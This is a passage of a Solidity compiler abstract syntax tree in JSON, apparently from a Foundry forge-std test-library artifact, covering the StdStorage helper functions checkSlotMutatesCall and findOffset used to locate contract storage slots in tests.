Value":"30","id":7584,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2129:1:8","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":7583,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2121:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":7582,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2121:7:8","typeDescriptions":{}}},"id":7585,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2121:10:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"2102:29:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseExpression":{"arguments":[{"hexValue":"30","id":7593,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2165:1:8","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":7592,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2157:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":7591,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2157:7:8","typeDescriptions":{}}},"id":7594,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2157:10:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":7595,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"Conditional","src":"2102:65:8","trueExpression":{"arguments":[{"id":7589,"name":"UINT256_MAX","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7463,"src":"2142:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":7588,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2134:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":7587,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2134:7:8","typeDescriptions":{}}},"id":7590,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2134:20:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"VariableDeclarationStatement","src":"2084:83:8"},{"expression":{"arguments":[{"expression":{"id":7600,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7555,"src":"2186:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":7601,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"2191:7:8","memberName":"_target","nodeType":"MemberAccess","referencedDeclaration":7420,"src":"2186:12:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":7602,"name":"slot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7557,"src":"2200:4:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"id":7603,"name":"testVal","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7580,"src":"2206:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":7597,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7460,"src":"2177:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":7599,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2180:5:8","memberName":"store","nodeType":"MemberAccess","referencedDeclaration":15476,"src":"2177:8:8","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_bytes32_$_t_bytes32_$returns$__$","typeString":"function (address,bytes32,bytes32) external"}},"id":7604,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2177:37:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":7605,"nodeType":"ExpressionStatement","src":"2177:37:8"},{"assignments":[null,7607],"declarations":[null,{"constant":false,"id":7607,"mutability":"mutable","name":"newReturnValue","nameLocation":"2236:14:8","nodeType":"VariableDeclaration","scope":7629,"src":"2228:22:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":7606,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2228:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":7611,"initialValue":{"arguments":[{"id":7609,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7555,"src":"2265:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"id":7608,"name":"callTarget","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7552,"src":"2254:10:8","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_bool_$_t_bytes32_$","typeString":"function (struct StdStorage storage pointer) view returns (bool,bytes32)"}},"id":7610,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2254:16:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes32_$","typeString":"tuple(bool,bytes32)"}},"nodeType":"VariableDeclarationStatement","src":"2225:45:8"},{"expression":{"arguments":[{"expression":{"id":7615,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7555,"src":"2290:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":7616,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"2295:7:8","memberName":"_target","nodeType":"MemberAccess","referencedDeclaration":7420,"src":"2290:12:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":7617,"name":"slot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7557,"src":"2304:4:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"id":7618,"name":"prevSlotValue","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7563,"src":"2310:13:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":7612,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7460,"src":"2281:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":7614,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2284:5:8","memberName":"store","nodeType":"MemberAccess","referencedDeclaration":15476,"src":"2281:8:8","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_bytes32_$_t_bytes32_$returns$__$","typeString":"function (address,bytes32,bytes32) external"}},"id":7619,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2281:43:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":7620,"nodeType":"ExpressionStatement","src":"2281:43:8"},{"expression":{"components":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":7626,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":7621,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7572,"src":"2343:7:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"components":[{"commonType":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"id":7624,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":7622,"name":"prevReturnValue","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7574,"src":"2355:15:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"id":7623,"name":"newReturnValue","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7607,"src":"2374:14:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"2355:33:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"id":7625,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"2354:35:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"2343:46:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"id":7627,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"2342:48:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":7561,"id":7628,"nodeType":"Return","src":"2335:55:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"checkSlotMutatesCall","nameLocation":"1860:20:8","parameters":{"id":7558,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7555,"mutability":"mutable","name":"self","nameLocation":"1900:4:8","nodeType":"VariableDeclaration","scope":7630,"src":"1881:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":7554,"nodeType":"UserDefinedTypeName","pathNode":{"id":7553,"name":"StdStorage","nameLocations":["1881:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"1881:10:8"},"referencedDeclaration":7427,"src":"1881:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":7557,"mutability":"mutable","name":"slot","nameLocation":"1914:4:8","nodeType":"VariableDeclaration","scope":7630,"src":"1906:12:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":7556,"name":"bytes32","nodeType":"ElementaryTypeName","src":"1906:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"1880:39:8"},"returnParameters":{"id":7561,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7560,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":7630,"src":"1938:4:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":7559,"name":"bool","nodeType":"ElementaryTypeName","src":"1938:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"1937:6:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":7712,"nodeType":"FunctionDefinition","src":"2560:514:8","nodes":[],"body":{"id":7711,"nodeType":"Block","src":"2663:411:8","nodes":[],"statements":[{"body":{"id":7705,"nodeType":"Block","src":"2722:319:8","statements":[{"assignments":[7655],"declarations":[{"constant":false,"id":7655,"mutability":"mutable","name":"valueToPut","nameLocation":"2744:10:8","nodeType":"VariableDeclaration","scope":7705,"src":"2736:18:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7654,"name":"uint256","nodeType":"ElementaryTypeName","src":"2736:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":7669,"initialValue":{"condition":{"id":7656,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7637,"src":"2757:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":7666,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"hexValue":"31","id":7664,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2789:1:8","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"nodeType":"BinaryOperation","operator":"<<","rightExpression":{"id":7665,"name":"offset","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7645,"src":"2794:6:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2789:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":7667,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"2788:13:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":7668,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"Conditional","src":"2757:44:8","trueExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":7662,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"hexValue":"31","id":7657,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2765:1:8","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"nodeType":"BinaryOperation","operator":"<<","rightExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":7660,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"hexValue":"323535","id":7658,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2771:3:8","typeDescriptions":{"typeIdentifier":"t_rational_255_by_1","typeString":"int_const 255"},"value":"255"},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"id":7659,"name":"offset","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7645,"src":"2777:6:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2771:12:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":7661,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"2770:14:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2765:19:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":7663,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"2764:21:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"2736:65:8"},{"expression":{"arguments":[{"expression":{"id":7673,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7633,"src":"2824:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":7674,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"2829:7:8","memberName":"_target","nodeType":"MemberAccess","referencedDeclaration":7420,"src":"2824:12:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":7675,"name":"slot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7635,"src":"2838:4:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"arguments":[{"id":7678,"name":"valueToPut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7655,"src":"2852:10:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":7677,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2844:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":7676,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2844:7:8","typeDescriptions":{}}},"id":7679,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2844:19:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":7670,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7460,"src":"2815:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":7672,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2818:5:8","memberName":"store","nodeType":"MemberAccess","referencedDeclaration":15476,"src":"2815:8:8","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_bytes32_$_t_bytes32_$returns$__$","typeString":"function (address,bytes32,bytes32) external"}},"id":7680,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2815:49:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":7681,"nodeType":"ExpressionStatement","src":"2815:49:8"},{"assignments":[7683,7685],"declarations":[{"constant":false,"id":7683,"mutability":"mutable","name":"success","nameLocation":"2885:7:8","nodeType":"VariableDeclaration","scope":7705,"src":"2880:12:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":7682,"name":"bool","nodeType":"ElementaryTypeName","src":"2880:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":7685,"mutability":"mutable","name":"data","nameLocation":"2902:4:8","nodeType":"VariableDeclaration","scope":7705,"src":"2894:12:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":7684,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2894:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":7689,"initialValue":{"arguments":[{"id":7687,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7633,"src":"2921:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"id":7686,"name":"callTarget","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7552,"src":"2910:10:8","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_bool_$_t_bytes32_$","typeString":"function (struct StdStorage storage pointer) view returns (bool,bytes32)"}},"id":7688,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2910:16:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes32_$","typeString":"tuple(bool,bytes32)"}},"nodeType":"VariableDeclarationStatement","src":"2879:47:8"},{"condition":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":7698,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":7690,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7683,"src":"2945:7:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":7696,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":7693,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7685,"src":"2965:4:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":7692,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2957:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":7691,"name":"uint256","nodeType":"ElementaryTypeName","src":"2957:7:8","typeDescriptions":{}}},"id":7694,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2957:13:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"hexValue":"30","id":7695,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2973:1:8","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"2957:17:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"id":7697,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"2956:19:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"2945:30:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":7704,"nodeType":"IfStatement","src":"2941:90:8","trueBody":{"id":7703,"nodeType":"Block","src":"2977:54:8","statements":[{"expression":{"components":[{"hexValue":"74727565","id":7699,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"3003:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},{"id":7700,"name":"offset","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7645,"src":"3009:6:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":7701,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"3002:14:8","typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_uint256_$","typeString":"tuple(bool,uint256)"}},"functionReturnParameters":7643,"id":7702,"nodeType":"Return","src":"2995:21:8"}]}}]},"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":7650,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":7648,"name":"offset","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7645,"src":"2698:6:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"hexValue":"323536","id":7649,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2707:3:8","typeDescriptions":{"typeIdentifier":"t_rational_256_by_1","typeString":"int_const 256"},"value":"256"},"src":"2698:12:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":7706,"initializationExpression":{"assignments":[7645],"declarations":[{"constant":false,"id":7645,"mutability":"mutable","name":"offset","nameLocation":"2686:6:8","nodeType":"VariableDeclaration","scope":7706,"src":"2678:14:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7644,"name":"uint256","nodeType":"ElementaryTypeName","src":"2678:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":7647,"initialValue":{"hexValue":"30","id":7646,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2695:1:8","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"nodeType":"VariableDeclarationStatement","src":"2678:18:8"},"isSimpleCounterLoop":true,"loopExpression":{"expression":{"id":7652,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"2712:8:8","subExpression":{"id":7651,"name":"offset","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7645,"src":"2712:6:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":7653,"nodeType":"ExpressionStatement","src":"2712:8:8"},"nodeType":"ForStatement","src":"2673:368:8"},{"expression":{"components":[{"hexValue":"66616c7365","id":7707,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"3058:5:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},{"hexValue":"30","id":7708,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3065:1:8","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"id":7709,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"3057:10:8","typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_rational_0_by_1_$","typeString":"tuple(bool,int_const 0)"}},"functionReturnParameters":7643,"id":7710,"nodeType":"Return","src":"3050:17:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"findOffset","nameLocation":"2569:10:8","parameters":{"id":7638,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7633,"mutability":"mutable","name":"self","nameLocation":"2599:4:8","nodeType":"VariableDeclaration","scope":7712,"src":"2580:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":7632,"nodeType":"UserDefinedTypeName","pathNode":{"id":7631,"name":"StdStorage","nameLocations":["2580:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"2580:10:8"},"referencedDeclaration":7427,"src":"2580:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":7635,"mutability":"mutable","name":"slot","nameLocation":"2613:4:8","nodeType":"VariableDeclaration","scope":7712,"src":"2605:12:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":7634,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2605:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":7637,"mutability":"mutable","name":"left","nameLocation":"2624:4:8","nodeType":"VariableDeclaration","scope":7712,"src":"2619:9:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":7636,"name":"bool","nodeType":"ElementaryTypeName","src":"2619:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"2579:50:8"},"returnParameters":{"id":7643,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7640,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":7712,"src":"2648:4:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":7639,"name":"bool","nodeType":"ElementaryTypeName","src":"2648:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":7642,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":7712,"src":"2654:7:8","stateV